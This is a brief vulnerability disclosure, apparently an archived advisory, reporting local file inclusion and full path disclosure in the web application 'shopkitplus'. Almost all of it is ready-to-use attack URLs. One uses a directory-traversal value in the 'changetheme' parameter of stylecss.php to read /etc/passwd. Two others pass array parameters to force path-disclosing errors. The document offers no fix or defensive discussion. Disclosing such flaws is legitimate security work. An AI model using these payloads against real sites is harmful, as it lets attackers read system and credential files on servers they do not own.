shopkitplus suffers from a local file inclusion vulnerability.
a2fe61b34783c5c8d358bd2db267c4531bbd826ead31da808b56c84445a2edd4
lfi:
/shopkitplus/enc/stylecss.php?changetheme=../../../../../../../../../../../../etc/passwd
full path:
/shopkitplus/events.php?curmonth[]=01
/shopkitplus/enc/stylecss.php?changetheme[]=
regards laurent gaffiƩ